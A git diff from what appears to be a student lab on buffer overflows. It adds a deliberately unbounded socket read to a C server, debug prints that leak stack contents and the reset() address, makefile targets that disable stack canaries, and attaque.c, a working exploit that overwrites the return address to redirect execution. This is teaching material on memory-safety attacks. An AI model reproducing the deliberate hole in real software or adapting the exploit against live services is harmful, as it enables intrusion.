diff --git a/.gitignore b/.gitignore index adf0b31..295f9e6 100644 --- a/.gitignore +++ b/.gitignore @@ -1,2 +1,3 @@ serveur client +attaque diff --git a/ReadMe.md b/ReadMe.md index a3d347f..049812c 100644 --- a/ReadMe.md +++ b/ReadMe.md @@ -15,6 +15,8 @@ Tuteurs : - Didier LeBotlan - Eric AlataS +WARNING : TO USE THE MAKEFILE YOU MAY NEED "gcc-multilib" (sudo apt-get install gcc-multilib) + Programmes SERVEUR et CLIENT, principe général : - Le serveur : Gere un entier (init 0) En écoute sur un port passé en paramètre, des qu'une connexion arrive, il fork, traite la connexion dans le fils, le père se remet en attente diff --git a/Serveur.c b/Serveur.c index c78eddb..041e6f8 100644 --- a/Serveur.c +++ b/Serveur.c @@ -58,6 +58,7 @@ void divi(int n) { } void reset() { + printf("Hello ça marche\n"); *addr_shm = 0; } @@ -90,6 +91,15 @@ struct traitement process(int sock) { // PRIMITIVE READ TRES MAL UTILISEE VOLONTAIREMENT read(sock, buff, SIZE_MAX); + printf("Affichage de la PILE : \n addr buff : %p\n socket : %d\n", buff, sock); + int i; + for (i=0; i<220; i++) { + if (i != 0 && i % 4 == 0) { + printf(" "); + } + printf("%2.2hhx", buff[i]); + } + printf("\n"); struct traitement ret; if (!strncmp(buff, "PRINT", 5)) { @@ -122,6 +132,8 @@ struct traitement process(int sock) { int main(int argc, char * argv[]) { + printf("L'adresse de la fonction reset est : %p\n", reset); + if (argc != 2) { printf("ERREUR : Usage : ./serveur N°Port\n"); exit(2); @@ -226,6 +238,8 @@ int main(int argc, char * argv[]) } else { // Recupération du traitement struct traitement taf = process(sock_connexion); + printf("On est revenu\n"); + printf("On a sauté ?\n"); // Prise du Semaphore buf.sem_op = -1; rt = semop(sema, &buf, 1); diff --git a/attaque.c b/attaque.c new file mode 100644 index 0000000..33bcf57 --- /dev/null +++ b/attaque.c @@ -0,0 +1,69 @@ +#include +#include +#include + +#define LATENCE 10000 +#define FAT_LATENCE 1000000 +#define FUNCTION usleep +#define SIZE_BUFF 212 +#define NUM_PORT 1258 + +int main(int argc, char * argv[]) { + char prog_name[30]; + sprintf(prog_name, "./client localhost %d", NUM_PORT); + // On ajoute 100 a la valeur + FILE * prog = popen(prog_name, "w"); + if (prog == NULL) { + printf("ERREUR\n"); + } + FUNCTION(LATENCE); + fprintf(prog, "ADD\n"); + printf("ADD\n"); + FUNCTION(LATENCE); + fprintf(prog, "100\n"); + printf("100\n"); + FUNCTION(LATENCE); + pclose(prog); + + // On affiche la valeur + prog = popen(prog_name, "w"); + if (prog == NULL) { + printf("ERREUR\n"); + } + FUNCTION(LATENCE); + fprintf(prog, "PRINT\n"); + printf("PRINT\n"); + FUNCTION(LATENCE); + pclose(prog); + + // On hack pour RESET + prog = popen(prog_name, "w"); + if (prog == NULL) { + printf("ERREUR\n"); + } + FUNCTION(LATENCE); + char buff[SIZE_BUFF + 1]; + int i; + for (i=0; i<(SIZE_BUFF / 4); i++) { + buff[(i*4)] = 0x25; + buff[(i*4) + 1] = 0x9a; + buff[(i*4) + 2] = 0x6; + buff[(i*4) + 3] = 0x56; + } + buff[SIZE_BUFF] = '\0'; + fprintf(prog, "%s\n", buff); + printf("Hack : %s\n%x%x%x%x\n", buff, buff[0], buff[1], buff[2], buff[3]); + FUNCTION(LATENCE); + pclose(prog); + + // On Affiche pour verifier + prog = popen(prog_name, "w"); + if (prog == NULL) { + printf("ERREUR\n"); + } + FUNCTION(LATENCE); + fprintf(prog, "PRINT\n"); + printf("PRINT\n"); + FUNCTION(LATENCE); + pclose(prog); +} diff --git a/makefile b/makefile index 94c1cd1..4ad6ec6 100644 --- a/makefile +++ b/makefile @@ -1,6 +1,19 @@ -default: all +default: + @echo "Usage : [ Classic | SansCanary | 32bits | 32bitsSansCanary | Attaque ]" -all: serveur client +Classic: clean serveur client +SansCanary: clean serveurSsCanary client +32bits: clean serveur32 client32 +32bitsSansCanary: clean serveur32SsCanary client32 + +Attaque: clean attaque.c + @echo "######################################" + @echo "# Compilation du programme ATTAQUANT #" + @echo "######################################" + @echo "" + gcc -Wall attaque.c -o attaque + @echo "" + @echo "" serveur: Serveur.c @echo "######################################" @@ -20,8 +33,44 @@ client: Client.c @echo "" @echo "" +serveur32: Serveur.c + @echo "######################################" + @echo "# Compilation du SERVEUR en 32 bits #" + @echo "######################################" + @echo "" + gcc -Wall -m32 Serveur.c -o serveur + @echo "" + @echo "" + +client32: Client.c + @echo "######################################" + @echo "## Compilation du CLIENT en 32 bits ##" + @echo "######################################" + @echo "" + gcc -Wall -m32 Client.c -o client + @echo "" + @echo "" + +serveurSsCanary: Serveur.c + @echo "######################################" + @echo "# Compilation du SERVEUR sans Canary #" + @echo "######################################" + @echo "" + gcc -Wall -fno-stack-protector Serveur.c -o serveur + @echo "" + @echo "" + +serveur32SsCanary: Serveur.c + @echo "#################################################" + @echo "# Compilation du SERVEUR en 32 bits sans Canary #" + @echo "#################################################" + @echo "" + gcc -Wall -m32 -fno-stack-protector Serveur.c -o serveur + @echo "" + @echo "" + edit: pluma Serveur.c Client.c & clean: - @rm client serveur + @rm -f client serveur attaque